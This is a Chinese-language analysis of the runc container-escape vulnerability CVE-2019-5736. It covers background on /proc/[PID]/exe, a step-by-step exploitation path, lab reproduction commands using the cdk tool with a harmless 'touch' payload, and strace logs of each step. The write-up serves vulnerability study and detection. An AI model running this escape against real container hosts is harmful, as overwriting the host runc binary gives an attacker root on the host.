容器逃逸漏洞分析 CVE-2019-5736
一、漏洞基本信息
条目 | 详情 | 备注 |
---|---|---|
发布日期 | 2019-02-12 | |
CVE-ID | CVE-2019-5736 | |
影响范围 | runc <= 1.0-rc6(或Docker < 18.09.2) | |
修复版本 | Docker 18.09.2 | |
CVSS | 8.6 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
二、漏洞简介
Docker、containerd或其他基于runc的容器运行时存在安全漏洞。攻击者可以通过特定的容器镜像或exec操作获取到宿主机runc执行时的文件句柄并以覆写方式篡改runc二进制文件,从而获取宿主机root权限。
三、前置知识
runc运行过程
runc启动并加入到指定容器的命名空间,接着以自身(""/proc/self/exe")为范本启动一个子进程,最后通过exec系统调用执行用户指定的二进制程序。
/proc/[PID]/exe
一种特殊的符号链接,又被称为magiclinks,指向进程自身对应的本地程序文件(例如我们执行ls,/proc/[PID]/exe就指向/bin/ls)。其特殊之处在于,当打开这个文件时,在权限检查通过的情况下,内核将直接返回一个指向该文件的描述符,而非以传统打开方式去做路径解析和文件查找,绕过了mnt命名空间及chroot对进程可访问路径的限制。
四、漏洞利用路径
- 将容器内的/bin/sh程序覆盖为#!/proc/self/exe
- 持续遍历容器内/proc目录,读取每一个/proc/[PID]/cmdline,对runc做字符匹配,直到找到runc进程号
- 以只读的方式打开/proc/[runc-PID]/exe,拿到文件描述符fd
- 持续以写方式打开只读fd,直到runc结束占用后,写方式打开成功,通过该fd向宿主机的/usr/bin/runc写入攻击载荷
- runc最后将执行用户通过docker exec执行的/bin/sh。因为第一步,实际将执行宿主机上的runc,而runc也以及在第四步被覆盖掉
五、漏洞复现和行为分析
环境搭建
- ubuntu 18.04
- docker 18.03.1-ce
metarget一键搭建:
git clone https://github.com/Metarget/metarget.git && cd metarget
apt update && apt install -y python3-pip
pip3 install -r requirements.txt
./metarget cnv install cve-2019-5736 --verbose
#备份runc
cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
利用:
# in host
docker run -it --rm --cap-add sys_ptrace -v /home/ubuntu/neo:/neo ubuntu:18.04 bash
# in container
cd cdk && ./cdk run CVE-2019-5736 "touch /root/5736-success"
# in host
docker exec -it xxx /bin/sh
行为分析
下面用strace采集漏洞复现时的系统行为。
- 将容器内的/bin/sh程序覆盖为#!/proc/self/exe
264 09:29:30.999970 openat(AT_FDCWD, "/bin/sh", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 3 <0.000133> 264 09:29:31.000287 fcntl(3, F_GETFL) = 0x8002 (flags O_RDWR|O_LARGEFILE) <0.000006> 264 09:29:31.000456 fcntl(3, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 <0.000006> 264 09:29:31.000634 epoll_ctl(4, EPOLL_CTL_ADD, 3, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1742815448, u64=139790043398360}}) = -1 EPERM (Operation not permitted) <0.000007> 264 09:29:31.000750 fcntl(3, F_GETFL) = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) <0.000006> 264 09:29:31.000854 fcntl(3, F_SETFL, O_RDWR|O_LARGEFILE) = 0 <0.000072> 264 09:29:31.001034 write(3, "#!/proc/self/exe\n", 17) = 17 <0.000016> 264 09:29:31.001078 close(3) = 0 <0.000126>
- 持续遍历容器内/proc目录,读取每一个/proc/[PID]/cmdline,对runc做字符匹配,直到找到runc进程号
267 09:29:36.186545 newfstatat(AT_FDCWD, "/proc/270", {st_mode=S_IFDIR|0555, st_size=0, ...}, 0) = 0 <0.000075> 267 09:29:36.186789 openat(AT_FDCWD, "/proc/270/cmdline", O_RDONLY|O_CLOEXEC) = 3 <0.000013> 267 09:29:36.186901 fcntl(3, F_GETFL) = 0x8000 (flags O_RDONLY|O_LARGEFILE) <0.000074> 267 09:29:36.186999 fcntl(3, F_SETFL, O_RDONLY|O_NONBLOCK|O_LARGEFILE) = 0 <0.000091> 267 09:29:36.187112 epoll_ctl(4, EPOLL_CTL_ADD, 3, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1742815448, u64=139790043398360}}) = -1 EPERM (Operation not permitted) <0.000144> 267 09:29:36.187355 fcntl(3, F_GETFL) = 0x8800 (flags O_RDONLY|O_NONBLOCK|O_LARGEFILE) <0.000006> 267 09:29:36.187384 fcntl(3, F_SETFL, O_RDONLY|O_LARGEFILE) = 0 <0.000072> 267 09:29:36.187481 fstat(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0 <0.000097> 267 09:29:36.187614 read(3, "docker-runc\0init\0", 512) = 17 <0.000122> 267 09:29:36.187763 read(3, "", 495) = 0 <0.000080> 267 09:29:36.187868 close(3) = 0 <0.000106>
- 持续以只读的方式打开/proc/[runc-PID]/exe,拿到文件描述符fd
267 09:29:36.188720 openat(AT_FDCWD, "/proc/270/exe", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) <0.000267> 267 09:29:36.189198 openat(AT_FDCWD, "/proc/270/exe", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) <0.000116> ... 267 09:29:36.238363 openat(AT_FDCWD, "/proc/270/exe", O_RDONLY|O_CLOEXEC) = 3 <0.000014> 267 09:29:36.238422 fcntl(3, F_GETFL) = 0x8000 (flags O_RDONLY|O_LARGEFILE) <0.000005> 267 09:29:36.238451 fcntl(3, F_SETFL, O_RDONLY|O_NONBLOCK|O_LARGEFILE) = 0 <0.000006> 267 09:29:36.238479 epoll_ctl(4, EPOLL_CTL_ADD, 3, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1742815448, u64=139790043398360}}) = -1 EPERM (Operation not permitted) <0.000006> 267 09:29:36.238512 fcntl(3, F_GETFL) = 0x8800 (flags O_RDONLY|O_NONBLOCK|O_LARGEFILE) <0.000006> 267 09:29:36.238550 fcntl(3, F_SETFL, O_RDONLY|O_LARGEFILE) = 0 <0.000006>
- 持续以写方式打开只读fd,直到runc结束占用后,写方式打开成功,通过该fd向宿主机的/usr/bin/runc写入攻击载荷
267 09:29:36.238660 openat(AT_FDCWD, "/proc/self/fd/3", O_WRONLY|O_TRUNC|O_CLOEXEC) = -1 ETXTBSY (Text file busy) <0.000104> 267 09:29:36.238875 openat(AT_FDCWD, "/proc/self/fd/3", O_WRONLY|O_TRUNC|O_CLOEXEC) = -1 ETXTBSY (Text file busy) <0.000095> ... 267 09:29:36.268325 openat(AT_FDCWD, "/proc/self/fd/3", O_WRONLY|O_TRUNC|O_CLOEXEC) = 7 <0.000734> 267 09:29:36.269108 fcntl(7, F_GETFL) = 0x8001 (flags O_WRONLY|O_LARGEFILE) <0.000006> 267 09:29:36.269141 fcntl(7, F_SETFL, O_WRONLY|O_NONBLOCK|O_LARGEFILE) = 0 <0.000116> 267 09:29:36.271453 epoll_ctl(4, EPOLL_CTL_ADD, 7, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1742815448, u64=139790043398360}}) = -1 EPERM (Operation not permitted) <0.000112> 267 09:29:36.271684 fcntl(7, F_GETFL) = 0x8801 (flags O_WRONLY|O_NONBLOCK|O_LARGEFILE) <0.000084> 267 09:29:36.271869 fcntl(7, F_SETFL, O_WRONLY|O_LARGEFILE) = 0 <0.000073> 267 09:29:36.272047 write(7, "#!/bin/bash \n touch /root/5736-s"..., 38) = 38 <0.000101>
- runc最后将执行用户通过docker exec执行的/bin/sh。因为有第一步的替换,实际执行的是宿主机上替换过的sh,而runc也在第四步被覆盖掉
13910 09:29:35.889416 execve("/usr/bin/docker", ["docker", "exec", "-it", "d4cf", "/bin/sh"], 0x7ffe2f6b90e8 /* 30 vars */) = 0 <0.000178>